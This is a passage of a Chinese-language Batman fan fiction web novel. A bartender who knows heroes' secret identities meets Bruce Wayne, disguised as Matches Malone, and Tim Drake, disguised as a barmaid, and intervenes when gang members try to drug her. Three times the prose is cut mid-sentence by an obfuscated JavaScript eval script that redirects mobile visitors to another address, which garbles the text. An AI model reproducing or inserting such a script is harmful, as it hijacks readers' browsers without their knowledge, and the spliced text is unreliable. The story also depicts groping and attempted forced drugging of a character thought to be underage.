酒吧里又出来个年轻男人，“就知道霍尔抓了个冤大头来弄这个。你今天怎么来这么早？” 说着，他主动帮卡修斯扶稳了梯子。 这是酒吧的兼职调酒师尼克·霍顿，据说是哥谭大学游学的艺术系学生。 “谢谢。”卡修斯礼貌道谢。 尼克是酒吧里和卡修斯关系最好的同事。这个男大不但英俊帅气，知识面广泛，而且性格也相当讨人喜欢，几乎是整个酒吧里团宠似的存在，同事们亲近他，酒吧的客人也相当喜欢他。只要尼克当班，这天的女性顾客绝对是最多的，吧台的调制饮料也比其他时候卖得更好。当然，即使是尼克这样喜欢和人广结善缘的热情小狗，也不喜欢霍尔。 和一个人拉近关系最快的方式就是一起说另一个人的坏话，或者八卦，尼尔就是这样和卡修斯熟起来的。 不过那时两人也只是“关系稍微好一点的同事”而已，直到有一次，尼克愁眉苦脸地抱怨自己丢了一副对他来说很重要的耳机。卡修斯刚好想实践一下利用梅花易数寻物的能力，于是让尼克随口说三个数字，帮他算算东西可能从哪儿找回来。 尼克本来不相信，这听上去就很不科学，但他不愿扫卡修斯的兴，还是按照他的要求做了。 “明天晚上11点以后，你去更衣室最东南角的柜子里找找吧。”当时卡修斯这样说。 虽说不抱什么希望，但第二天晚上11点后，尼克还是找了个机会去了趟更衣室，撬开了更衣室最东南角的柜子——那是加登·霍尔的柜子。 然后，真的在那儿找到了他的耳机。 从此之后，尼克跟卡修斯彻底熟络了起来。卡修斯会跟他聊一些自己占卜店的事，尼克也对玄学表现出了极大的兴趣，说这是他以前没接触过的东西，想了解。 卡修斯看着正在底下帮忙扶梯子的尼克，就知道他一定又有什么八卦迫不及待地想要和自己分享了。 果然，没过一会儿，尼克就开口道：“你知道霍尔那家伙今天为什么满面春光的吗？” 卡修斯揭开灯罩，将坏掉的灯带取了出来。 “他怎么了？” 刚才霍尔递东西给他的时候，的确一脸兴奋。 尼克说：“卡洛琳·希尔今天在店里兼职。” 卡修斯一脸茫然地低头看了他一眼。 尼克哦了一声，才说：“忘了，你才来三个月，不知道卡洛琳·希尔是谁。” 卡修斯将新的灯带按照字母的走向，小心地往里面塞，尼尔继续帮他解惑：“据说她是医学院的学生，但肯定不是哥谭大学的，我在学校里没见过她。她还有个兼职，就是辗转在哥谭各个酒吧卖酒，不过她很少来中国城这边，钻石区和上东城才是她出没最多的地方，尤其是冰山酒吧。” 卡修斯动了动眉毛 冰山酒吧与企鹅人关系匪浅？ “等会儿你进去看到她就知道了，又清纯又火辣的一个大美妞，霍尔觊觎她很久，可惜，卡洛琳连我都不怎么搭理，又怎么会看得上那家伙。” 说着，尼克幸灾乐祸地笑了笑。 卡修斯也笑了。尼克实在长得太好，只要他那双眼睛看着谁，那人就会陷入他眼里的深情中，连尼克都泡不到的妞儿，霍尔确实没戏。 卡修斯一直觉得尼克·霍顿这个名字莫名有点熟悉，但更多的就想不起来了，可能也是DC世界中的某个剧情角色？ 说话间，灯带已经换好了。他拍了拍手上的灰，从梯子上下来。尼克帮他扛着梯子，卡修斯自己拿着工具箱，两人一起从酒吧后门走了进去。 和酒吧外围混乱泥泞的环境交相辉映的嘈杂同样出现在酒吧内部，只不过这里的混乱里还隐隐带着一些隐秘的秩序，伴随着几个隔间之外酒吧舞台上让人听不清歌词的靡靡之音，倒是有一种诡异的和谐感。 尼克将梯子放进工具间后，就回到了吧台，卡修斯则在更衣室换衣服。换上酒吧提供的统一西装制服时，卡修斯悄悄将右臂上的武器卸下来装好，放进更衣柜最里面，又用自己的便服将它盖住。 当一曲终了，卡修斯已经换好了酒吧侍者的衣服，准备开始自己今晚的服务生工作。 一走进酒吧，那个个子格外高挑的金发大长腿女侍者一下子就吸引了卡修斯的注意力。 加登·霍尔正站在距离女孩不远的位置，想要过去，可又像是忌惮什么似的，不太敢，只能频繁地将视线投向她那儿。 可惜女孩根本没有给他一个多余的眼神。 卡修斯打量着这个穿着酒吧制服的女侍者，她的身材高挑，脚下踩着一双酒红色的细跟鞋，在高跟鞋的加持下，竟然比身为男人的自己还要高出大半个头。她的脖颈修长，颈部戴着一枚两指宽的黑色皮质choker（贴颈项链）。她的皮肤是诱人的奶油色，包裹在酒吧为女服务生提供的统一黑色连衣皮裙里，更显白皙。 她穿着黑色渔网袜，黑色革质束袜刚好勒在大腿中间的位置，细细的吊袜带暧昧地淹没在齐臀短裙之下，引人遐想。 此刻她正微微弯腰，像是在认真聆听面前那位戴着墨镜的络腮胡男人的要求。她金色卷曲的长发垂了一缕下来，又下意识地抬手将这缕不听话的头发别在耳后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180819|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这让卡修斯终于看清了她的侧脸。 她的睫毛很长，眨眼间像是一把小刷子，扫动着照在她脸上的暧昧光线，又在她的眼睑下投出一小片阴影，这片阴影在她眨眼之间形状变换，像一只缓慢扇动翅膀的黑色蝴蝶。 她的鼻子很翘，鼻头微微上翘，圆润可爱，这中和了她对女生来说长得过于英挺的鼻梁所产生的攻击性，让她原本过于艳丽的容貌显得甜美可爱起来。 卡修斯注意到，不只是霍尔，此刻酒吧里大多数男人的视线都集中在了这个女侍者身上，当然，这也包括他自己。但对方似乎对这种众星捧月般的关注毫无知觉，像是早就习惯了这种注视。 傍晚时分，酒吧的客人还不太多，卡修斯今天本来就是早到，此刻也不是很忙，他走到吧台打算再跟尼尔聊会儿天，摸摸鱼。 他接过尼克递给他的酒杯，和他一起擦拭。 “不去试试？”尼克玩笑地怂恿道。 卡修斯瞪了他一眼：“你可别害我。” “怎么？”尼克挑眉。 “她上大学？我怎么感觉她高中都还没毕业？”卡修斯说。 西方女性骨架较大，青少年时期普遍长相成熟，虽然这个叫卡洛琳的女孩的妆容和穿着都往成年女性的方向靠，但他还是觉得这女孩肯定不超过十八岁。 尼克点头赞道：“英雄所见略同。” “而且，”卡修斯继续说，“和她交谈的那个男人，看面相也不好惹。” 戴着墨镜又隔这么远，能看到个鬼的面相，只不过平时在酒吧里日天日地的加登·霍尔这会儿也老实站在远处只敢眼馋，就说明这个墨镜男怎么着也是个狠角色。 说着，他朝卡洛琳和那个男人的方向又看了一眼。 那男人似是察觉到他的视线似的，忽地抬头，将脸微微转向他和尼尔这边。由于墨镜的遮挡，卡修斯并不能确定对方是否在看他，但他还是迅速收回视线。 “给我倒杯水。”他对尼尔说。 “东方神秘的面相学？”尼尔笑着递给他一杯气泡水。 卡修斯耸了耸肩，没有否认。他接过杯子正喝着，尼尔手臂放在吧台上，上半身探出来些，凑近他的耳边，低声说：“那是火柴·马龙，他在东区也算挺有名的，只是为人低调，行踪也很是成谜。听说他是卡洛琳·希尔的糖爹。” “噗——！” 卡修斯一口水喷了出去。 “F**k！”尼克火速从他耳边退开。 卡修斯赶忙抽了几张纸，帮他擦肩膀上的水。 “你搞什么？” 尼克瞪他一眼，抢过纸巾自己擦去耳边的水。 “咳……咳……你……咳说他……是谁？！” 卡修斯被呛得疯狂咳嗽，有点喘不上气。 尼尔被卡修斯的反应吓了一跳，连忙帮他拍后背顺气。 “火柴·马龙。你认识他？还是得罪过他？” 看卡修斯反应那么大，尼尔将声音压得更低：“要不你先回去？我帮你请假？” 「我勒个叛逆女高和她的Suggar daddy，他是布鲁斯·韦恩！」 卡修斯在心里疯狂尖叫。虽然布鲁斯·韦恩有过很多假名，但火柴·马龙绝对是最知名的一个，任何一个DC人都不可能记错。 火柴·马龙的脑子里“嗡——”的一声，差点被突然钻进脑子里的尖叫声震出脑震荡。 他食指按在太阳穴上，忍不住闭上了眼。 他也想咆哮。 卡修斯·希尔，一个刚来哥谭三个月的外乡人，他是怎么知道布鲁斯·韦恩就是火柴·马龙的？他还知道些什么？ 伪装成卡洛琳·希尔的提姆正在和布鲁斯小声确认最后的细节，忽然看到他皱眉按着脑袋，还以为自己的行动计划有什么漏洞。 他停下来，低声问：“怎么了？” 5. 第 5 章 布鲁斯抬起头再一次看向卡修斯的位置，他正背对着自己，像是被水呛到，咳得上气不接下气，他身边那个酒吧调酒师正在帮他顺气。 “你有没有听到什么不寻常的声音？”他问提姆。 提姆谨慎的环顾了一下四周，没有发现任何可疑的情况。 “没有。你是发现什么了？”装扮成卡洛琳的提姆问。 “我的身份可能已经暴露了……”说着，火柴·马龙就站了起来。他打算直接带走卡修斯，找个适合审讯的地方，好好问问他到底是什么人，又是怎么知道他的这个身份的。 “他们来了。”卡洛琳忽然按住他的手臂，用眼神快速示意了一下从酒吧门口走进来的五个人。 其中有三个戴着面具帮的面具，另外两个则是俄罗斯人。 他们找了个隐蔽的卡座坐了下来。 从这几个人进来，加登·霍尔这狗东西就不知道钻哪儿去了。尼尔看卡修斯半天没缓过来，本想替他过去送酒水单，但卡修斯摁住他摇了摇头，自己走了过去。 「我的妈，黑面具的人来中国城干嘛？火柴·马龙，黑面具，总感觉今天晚上会有大事发生，这已经不是事业不顺了，绝对是有生命危险好吧？等一下，我为什么要走过去给他们送酒水单？我现在最应该做的难道不是请假回家吗？」 借着墨镜的遮挡，布鲁斯的眼睛死死盯着卡修斯，看着他若无其事地走到了那桌人前面，又递上酒水单，然后悄悄退回吧台的位置。 “谁知道了你的身份？”卡洛琳问。 布鲁斯没有回答他。 「不过卡洛琳·希尔又是哪块小饼干？不会也是个化名吧？斯蒂芬妮倒是金发，不过这三个月在哥谭从未听说过搅局者的消息，她这会儿应该不在哥谭？卡珊德拉现在应该在香港或者布鲁德海文，芭芭拉腿脚不便不可能是她，别真是布鲁斯为了掩盖身份，故意找的糖宝吧，不！我不相信！」一脸镇定的卡修斯在心里疯狂呐喊。 面沉如水的火柴·马龙此刻想要放弃正在追踪的走私任务，而是直接把卡修斯·希尔抓起来。 钻入脑内的这段话内容太炸裂，直白到没办法让布鲁斯做任何侥幸的猜测。不是“我的身份暴露了”而是卡修斯·希尔知道他们所有人的秘密身份！ 昨天他还信誓旦旦地对阿尔弗雷德说，卡修斯·希尔的身份问题既不重要又不紧急，没想到打脸来的这么快。 在他看来，现在任何事都没有搞清楚卡修斯·希尔到底是谁，以及他潜伏在哥谭的目的是什么来的重要。 “你没事吧？”提姆将手指盖在布鲁斯放在桌面的手腕上，外人看来，他们动作暧昧，但提姆只是在摸布鲁斯的脉搏，它跳的很快。 布鲁斯摇摇头。 “你的脸色很差，你在发抖。”提姆凝重地说。 从其他人的角度看上去，这两个人就像是在调情，连尼尔都点了点卡修斯的肩膀，示意他往后偷偷看一眼。 “我觉得他们之间是有真感情的，不是单纯的金钱关系。” 尼尔煞有介事的分析道。 卡修斯坚决不回头。 “调你的酒，他们的事你少管！”尼尔瞪了他一眼。 “要放弃任务吗。”提姆问。他察觉到布鲁斯的状态不太对，像是受到了什么惊吓。不过他很难想象什么事情能吓到蝙蝠侠。 “不。” 火柴·马龙沉声说。 刚才他太震惊了，所以一下子乱了心神，还好提姆及时阻止了他，以免他刚才因为情绪化的冲动而走出一步臭棋。 如果卡修斯·希尔知道了他们所有人的身份，却直到现在也没有向外透露分毫，那就说明他暂时不会将自己所掌握的关于他们的身份信息泄露出去。他背后或许有一个更庞大的组织或更可怕的阴谋，如果他就这样贸然的审问对方，打草惊蛇，卡修斯·希尔很有可能被灭口，自己或许也要花更多的时间才能搞清楚他们的身份到底是怎么泄露的这么彻底的，除了卡修斯之外，还有没有更多人知道这些。 现在他唯一的优势就是，出于某种不知名的原因，他读到了卡修斯·希尔的心声，他或许可以想办法接近他，精心的设计一些交流场景，这样他就能听到更多对方的心声，掌握更多的关键信息。 但现在的首要任务就是，他必须立刻去一趟卡修斯·希尔的住处，彻底调查一遍那里，并在那儿层层布控。 从现在开始，他必须尽可能的知道卡修斯·希尔见过的每一个人，说过的每一句话。 “你留在这儿，继续任务。” 火柴·马龙用在别人看来非常暧昧的距离，凑在卡洛琳耳边低声说话。 “按原计划？”卡洛琳也笑着回应他，看上去两人交谈的非常融洽。 他们的原定计划是火柴马龙先和卡洛琳在酒吧内部布控，然后火柴马龙借口离开酒吧，这样卡洛琳就有机会顺势接近目标对象那伙人，蝙蝠侠则在酒吧外继续监控，一旦场内任务出了意外，蝙蝠侠也会在酒吧外将人截住。 “再帮我盯住一个人。”火柴·马龙说。 “你说。” “站在吧台，正背对着我们的那个服务生，他叫卡修斯·希尔。” “他和这个案子有关？” 蝙蝠侠还没有将昨晚获得的关于卡修斯·希尔的新情报共享给罗宾。 火柴·马龙摇了摇头。 “他就是知道你身份的人？” 跟走私案无关，但是又在这个节点忽然引起了布鲁斯的注意，结合布鲁斯刚才莫名其妙说的话和异常反应，提姆立即猜测到。 “你不要暴露，尤其不要在他面前暴露罗宾的身份。” 火柴·马龙说。 虽然刚才卡修斯·希尔的心声里没有涉及到关于罗宾的内容，但他根本不心怀侥幸。 如果他连卡珊的身份都知道，就不可能不知道罗宾是谁，可从他的心中所想来推断，他倒是不知道卡洛琳·希尔就是罗宾，所以他嘱咐提姆保持好卡洛琳·希尔这个角色。 卡洛琳疑惑地看了火柴·马龙一眼，看他的表情相当慎重，于是点头表示自己记住了。 随着时间的推移，酒吧里面的客人也陆续变得多了起来，不时有人召唤侍者，卡修斯·希尔和其他服务生都变得忙碌起来，连加登·霍尔也重新出现了。 火柴·马龙站了起来，卡修斯刚好回到吧台位置下单，看到尼克又在往那两个人的位置忍不住偷看，他立即伸手将尼尔的脸转正。 “管好你的眼睛，不该看的别瞎看。”卡修斯都没张嘴，他蠕动着嘴皮冲尼尔警告道。 「蝙蝠侠的瓜你都敢吃，噎不死你。」他在心里吐槽道，浑然忘记了在不久前的凌晨，他本人心里还对着蝙蝠侠叫外敷。更忘了自己当初选址在莱斯利诊所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180820|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近，就是抱着有机会能在最安全的状态下见到蝙蝠侠的心态。 布鲁斯现在已经完全镇定下来了。对卡修斯知道自己就是蝙蝠侠这件事完全不吃惊，甚至觉得，他要是不知道火柴·马龙就是蝙蝠侠，才很奇怪。 尼克拍掉卡修斯的手：“干嘛，我偷偷看，又没被人发现，毕竟卡洛琳真的很好看！” 他小声说着。 卡修斯伸出中指和食指，对准他的眼睛位置威胁性的比了比，意思是小心火柴·马龙把你的眼珠子抠下来。 尼克一把握住他的手指“咦”了一声，你干嘛那么在意这姑娘？他好奇地说：“让我猜一下，她叫卡洛琳·希尔，你是卡修斯·希尔，你们俩不会是有什么血缘关系吧？还是你跟那个火柴·马龙也有什么感情纠纷？” 说着尼克还暧昧的冲他眨眨眼。 “猜的很好，下次别猜了。”卡修斯翻着白眼说。 「我跟他是属于我认识他但他不认识我的关系，希望他永远也别认识我，引起蝙蝠侠的注意可算不上什么好消息。」 卡修斯心里吐槽道。 但是你已经成功引起了我的注意。 蝙蝠侠心想。 我会看着你的。 虽然他很想留在这儿看看还能不能继续听到卡修斯心里会说些什么，但显然罗宾和他都该干活了。 火柴·马龙故意伸手将卡洛琳脸颊旁边另一缕不听话的头发亲昵地帮她别在耳后，在众目睽睽之下做出明明很不舍，但不得不离开的样子。 “注意安全，拿不到资料也不用勉强。”火柴·马龙微微弯腰，凑近卡洛琳耳边说完，便离开了酒吧。 卡修斯刚好被叫到门口的卡座旁点餐，虽然目不斜视，但他还是忍不住用眼角的余光追随着火柴·马龙的身影。 男人拉开酒吧大门。 「呼……终于要走了，看来今晚至少在酒吧内部不会有大动作了？」 正想着，火柴·马龙突然突然回了头。 卡修斯立即垂下眼看着自己面前的那桌客人，视线不敢再移动。 「他不会是在看我吧？暗中观察都能被抓包？不能吧，尼克·霍顿可偷瞄了你们俩那么多眼了。」 火柴·马龙将鼻梁上的墨镜往上推了推，终于离开了。 卡修斯注意到，火柴·马龙一离开，之前只盯着卡洛琳看，不敢有所动作的男人们突然都变得大胆起来，他们频繁地招呼卡洛琳，慷慨地为她买酒，趁对方记账的时候，或隐秘或明目张胆地触碰对方的身体，当然，主要位置都集中在腰部以下，甚至连霍尔都有意无意地蹭着卡洛琳的肩膀故意和她擦肩而过。 当卡修斯看到有人大胆的将咸猪手顺着卡洛琳的裙子边缘往里伸，但女孩明显想要拒绝可又不得忍耐的神情时，卡修斯终于忍不住垂下眼睛。 即便知道卡洛琳·希尔或许不是真的没办法躲避这些咸猪手，他也看不下去。 可就在他收回视线的瞬间，他看到卡洛琳看向了他，那眼神在卡修斯看来，带着求助的意味。 尼克说的对，卡洛琳·希尔真的很好看。 他想起了自己凌晨更新的星座运势中的今日双鱼座箴言。 跟随自己的内心，会收获一段美好的关系。 不，跟随不了一点。 一想到她刚才那么亲密的和火柴·马龙互动，他就觉得她很危险。 6. 第 6 章 卡修斯相当有自知之明，能来Misty消费的客人，无论哪一个，都是他惹不起的存在，他不觉得自己有英雄救美的资格。 但是，欣赏故事中高潮迭起的惊险过程是一回事，不管蝙蝠侠有什么计划，在卡修斯眼里，卡洛琳·希尔都是疑似未成年少女，利用少女涩诱达成自己的目的，这种有伤风化的事真的发生在卡修斯面前，他还是觉得浑身生理性不适。 卡洛琳已经走到了面具帮那伙人面前，卡修斯心里叹了声“果然如此”，可他的视线已经不受控制地跟了过去。 两个俄罗斯人已经将女孩拉坐在腿上，卡修斯忍不住皱起了眉。 当那五个人搂着卡洛琳准备进包间的时候，卡修斯终于忍不住朝他们走了过去。经过吧台时，尼克拉住了他的袖子。 这个似乎永远挂着多情笑容的年轻男人神情严肃地朝他摇了摇头，示意他不要多管闲事。 “他们的老大是黑面具，卡洛琳·希尔有火柴·马龙罩着，而且这里是……”尼克诡异地停顿了一下，才继续说：“总之，你不用替她担心。” 卡修斯将视线投向远处被层叠人群遮挡住，最后缓缓消失在包房门后的一群人，小指忍不住抽搐了一下。 尼克看他还盯着那扇门发呆，忍不住笑道：“你这么有正义感，让我怀疑你是警察。” 卡修斯被逗笑，他笑着转向尼克：“认真的？我以为，在哥谭，说一个人像警察不算是夸奖。” 两人对视一眼，都为这个不经意间的地狱笑话笑出来，本来严肃的气氛顿时松懈了下来。 有位女客人走向吧台，冲尼克眨了眨眼，点了杯调制酒，示意尼克帮她做。尼克再次向卡修斯抛了个“别多事”的眼神，接着对客人展现出迷人的笑容，忙碌了起来。 卡修斯稍微安心了些。 他一直怀疑尼克并不是什么简单的“在酒吧兼职打工的哥谭大学交流生”。他虽然也不是哥谭人，却知道许多或许连哥谭本地人都不知道的八卦和秘辛。加登·霍尔常常用下巴看其他同事，但面对尼克的时候，至少是用鼻孔在看，而且，霍尔虽然觊觎被富婆偏爱的尼克，却不敢明目张胆地抢他的客人。要说霍尔对自己的人格魅力或长相有自知之明才放弃？卡修斯是不信的。所以他猜测，也许尼克也认识酒吧的老板。 正想着，霍尔就气势汹汹地走过来，将记录好的酒水单不由分说地塞进了卡修斯的手里。 “你，去服务三号包房的客人，尽快！”他的态度十分强硬。 “你为什么不去？” 卡修斯反问。 三号包房正是卡洛琳他们进去的那间。 他可是看着霍尔一直找机会往卡洛琳身边凑，连原本躲着的面具帮的人都不在意了。他刚才就是抢了自己的单子，主动凑上去的。 霍尔看上去更生气了，他从喉咙里重重地哼出声来，阴阳怪气道：“有些人表面上一本正经，私底下不知道跟那些不知检点的卖酒妹有什么勾当，卡洛琳那个小**特地点了你去包房服务。” 到目前为止，他跟卡洛琳·希尔毫无交集，卡洛琳为什么要点他？卡修斯闻到了阴谋的味道。 他一直都表现的很低调啊，到底是什么时候引起了蝙蝠侠的注意？卡修斯有点想不通。就连在一旁的尼克，听到后都有些意外地挑眉看了他一眼。 卡修斯看着被强行塞进手里的酒单，感觉自己被哥谭义警针对了。 但这也不是霍尔口无遮拦的理由，他当舔狗的时候，拼命往上凑，献殷勤失败，各种污言秽语就来了。 卡修斯本来不大在意，酒吧这种地方要求所有人都讲文明懂礼貌，不说粗话脏话那是天方夜谭。但看到霍尔这种油腻男用侮辱性的词汇贬低一个未成年女孩，他就觉得自己的拳头痒痒。 虽然他不想惹事，但也不代表他没有脾气。 卡修斯将菜单上的东西整齐地码到餐车上后，打算去送餐。 尼克叫住他：“别做多余的事。” 他再次提醒道。 尼克确实将他当作朋友，真心地关心他。 卡修斯温和地点头：“我知道。” 说罢，他推车去送餐，霍尔还在一边嘟囔着骂骂咧咧，卡修斯手上用力，让餐车稳稳地从霍尔的脚面上开了过去。 “啊——” 和承重超过两打啤酒重量的车轮亲密接触，霍尔惨叫一声，五官都扭曲起来。 他抱着脚痛苦地蹲下，尼克忍不住偷笑了一声。 卡修斯路过一个摆着果盘啤酒，但空无一人的卡座时，悄悄将桌上的餐叉藏在了身上。 今天的总体运势是三颗星，这就意味着并不是特别倒霉，还是能平安度过的。 尼克一直注视着他的背影，所以第一时间看到了他的动作。 他无奈地叹了口气，从工作服的内袋里摸出手机，拨出他在Misty工作以来第一次拨出的电话。 “Moz（蚊子）。” 拨通后，他叫出对方的名字。 “尼克，东西得手了？”电话那头响起一个轻快的男声。 “还没有。”尼克说。 “那就是你遇到麻烦了。”Moz的声音带了些笃定的得意。 “不是我，是一个朋友遇到了麻烦。”尼克说。 “哦？你竟然在哥谭交了新朋友？他有我厉害吗？”Moz听上去有些跃跃欲试。 和Moz通话总会让尼克有种放松的感觉，他笑道：“当然没有。” Moz对这个答案很满意，他点头道：“那你需要点什么帮助？” “我想请Misty的老板出面解决一下麻烦。” “唔……”Moz一听是找人的活，顿时有点意兴阑珊。“哥谭的各种势力很复杂，你最好不要牵扯过深，而且，跟黑邦扯上关系的话，很容易引起‘那位’的注意，得不偿失。” “我会小心的。”尼克承诺道。 “好吧，我会帮你的，给我五分钟。” 尼克打电话的时候，卡修斯已经走到了包房门口。他单手松开推车把手，在敲门前又摸了摸藏在口袋里的叉子。他有点后悔，早知道不应该把武器卸下来放在更衣室的。 卡修斯轻叩包房门三下，在获得进入的许可后，悄悄深吸一口气，推开了门。 房间里闪烁着彩色的霓虹灯，空气里充斥着刺鼻的香水和烟酒味道，房间里很吵，英语俄语混杂。卡修斯垂着眼，目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180821|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不斜视地倾身将托盘中的酒水放在面前的茶几上。在起身的时候，他不动声色地掀起眼，就看到女孩眼神迷离地躺靠在一个比他矮一些，但明显膘肥体壮的中年男人怀里。她原本就不算长的皮裙被推到了腰间，男人还在哄她喝酒。她嘴里模模糊糊推拒着说不行了，不能再喝了，可她推拒酒杯的手却被坐在另一边的男人捉住。 这个满脸胡子的俄罗斯男人用令人恶心的神态亲了亲卡洛琳的手腕，接着，用俄语说了句：“美人儿，你会喜欢的，好好享受。” 说罢，他另一只手拿起桌上放着的已经注满液体的注射器，缓缓移动到女孩臂弯的静脉位置。 卡修斯的心跳猛地加快，他不知道该震惊自己居然听得懂俄语，还是在为卡洛琳担心。 他注意到卡洛琳的手臂非常白皙，没有任何针孔的痕迹，至少说明这个女孩很大程度上没有吸过D。 女孩在针头靠近自己的时候忽然像是清醒了似的剧烈挣扎起来，原本在旁围观的男人嘻嘻哈哈地过来，想要帮忙按住她。卡修斯知道尼克是对的，此刻最好的选择是离开这儿，远离这里的是非。但如果他此刻离开，这女孩怎么办？ 即便她真的是蝙蝠侠的线人，此刻的女孩也看上去毫无反抗能力。 他来不及思考自己为什么听得懂从未接触过的俄语，也没时间继续权衡利弊，凭借下意识反应，卡修斯抄起手里的金属托盘，用尽全力抽上了那个拿着针管准备给卡洛琳注射的男人的后脑。 “咣——”一声清脆的巨响，让包房瞬间诡异的安静了一瞬。 所有人的视线都集中在了卡修斯的身上，被砸的那个俄国人捂着后脑，同样用不敢置信的眼光看过来。 大家都被这一瞬间的变故给惊呆了，没人能想到一个小小的服务生竟然如此胆大包天。 卡修斯后知后觉地感觉到了害怕，他穿来之前，生活在自己那个宇宙中禁D最严格的国家，曾经受过的教育让他清楚地知道，那些涉D的犯罪分子是多么冷酷和凶残。 但他绝不后悔自己刚才出手的行为。 他已经把口袋里的餐叉悄悄捏在手心，又借双手捏着托盘的动作挡住自己的凶器。 “呃……对不起，刚才我看到一只蟑螂爬到您头上，一时没忍住……” 卡修斯道歉的非常诚恳。 被打的俄国佬戾气横生地瞪了他两秒，将原本抚在后脑的手伸到眼前一看，手心已经沾上了一抹红色。包房里的其他男人看到自己的同伴见了血，瞬间都收起了笑意，眼神凶恶地看向卡修斯。除了坐在沙发上还搂住卡洛琳的和那个被托盘揍了后脑的，剩下的三个人起身慢慢逼近卡修斯。 卡修斯顺着他们逼近的步伐缓缓后退，直到抵住墙面无法再移动。 他理智地分析了目前的形势，知道今天绝不会被轻易放过，但奇怪的是，此刻他对自己的处境竟然没多少担心，并且他还不知道这种诡异的安心感是来自哪里。 卡修斯看了一眼被他“救了”的女孩，她看上去完全清醒了，正瞪大眼睛，同样用一种惊讶的眼神看着他。但卡修斯能肯定的是，这个眼神里并没有多少感激之情。 他注意到，卡洛琳的眼睛是非常漂亮的水蓝色。 7. 第 7 章 卡修斯有点生自己的气。在这种性命攸关的危急时刻，他竟然还能注意到一个身份存疑的女侍应生的眼睛是什么颜色的。 想到自己究竟为什么会来到这个包房，陷入这种境地，他忍不住瞪了女孩一眼。 他发现卡洛琳手里攥着金属光泽的东西，这下他明白了，刚才就算自己不出手，这姑娘大概也吃不了什么亏。 “既然你这么怜香惜玉，那就请你替她来试试我们的‘好东西’吧！” 被他脑袋砸出血的俄国佬晃了晃脑袋，把掉在地上的注射器捡起来，狞笑着朝卡修斯走来。 围着他的几个男人顺势想要分别控制住他的双臂，将他强行按在墙上。 就在男人们要扯掉他手里的托盘时，卡修斯突然暴起。他先是一脚踢上站在他正面那个近一米九男人的胯部，又趁另外三人没反应过来的时候故技重施，将餐盘再一次招呼上想要扯住他左边手臂的壮汉的面门。托盘的着力点非常精准地落到了对方的鼻梁上。 猝不及防被袭击的两人发出猪叫，一个捂着胯部痛苦地弓下腰，另一个捂着鼻子，生理性泪水控制不住地涌了出来——同时涌出的还有他的鼻血，从对方的指缝间漏了出来。 包房里剩下的那三个面具帮的人已经反应过来，他们迅速掏出枪，齐齐对准卡修斯，就在他们要扣动扳机的瞬间，卡修斯再次出手，像是曾经做出成百上千次那样，他的食指和拇指以极快的速度按上距离他最近的那个，几乎将枪口怼上他脑门的人的手腕的某处，那人手腕一麻，握着枪的那只手居然立即失去了力气。 在枪身落地的瞬间，卡修斯手指用力，将对方的手腕反剪在自己面前，另一只手中早已候场多时的餐叉也抵上了那人的颈动脉，像是只要他一用力，就能轻易将对方的脖子戳四个窟窿。 “你到底是什么人？” “他妈的！放开他，你是不是不想活了？！” “我要杀了你这个狗崽子！” 英语俄语混杂的脏话和恐吓脱口而出，他们看上去十分想要开枪，但又忌惮卡修斯手里的人质，不敢轻易动手。 男人们怒火滔天，不敢相信竟然在阴沟里翻了船。其中一个面具佬拿出手机，像是打算叫后援的样子。原本搂着卡洛琳的那个男人早就松了手，他转身将放在沙发边的一个黑箱子抱在怀中，像是想要伺机离开。 卡修斯自己也头皮发麻，一半脑子在感慨“草啊我怎么这么牛逼”，另一半脑子抓狂地乱叫“怎么办怎么办，我今天还能活着走出这家酒吧吗？不过死了的话应该也没关系吧？说不定顺势回家了呢？” 虽然他心里乱七八糟的念头都有，但表面上还得保持一脸冷酷的高深模样。 反正场面已经乱成这样了，至少得把最初的目的先达成了。卡修斯破罐子破摔地看向正呆愣在沙发上盯着他看的卡洛琳·希尔，非常具有硬汉气概地冲她喊道：“你，先离开这儿！” 女孩左右看了看，像是在确认卡修斯在跟她说话。然后缓缓伸出食指，手腕内扣，将指尖对准自己，意思是“你是在跟我说话”？ 看她这么气定神闲的样子，卡修斯几乎能肯定，自己这次绝对是毫无必要的多管闲事了。作为蝙蝠侠的线人，说不定有独特的脱身技巧，根本不需要旁人来救。 不过对方还算上道，在卡修斯盯着她的眼神从决绝快要过渡到绝望的时候，女孩终于动了。 她手上那个泛着金属光芒的东西被“嗖”一下丢了出去，这下卡修斯看清楚了，竟然是一只启瓶器。它准确地击中了拿着手机的面具佬的手腕，打掉了他的手机。 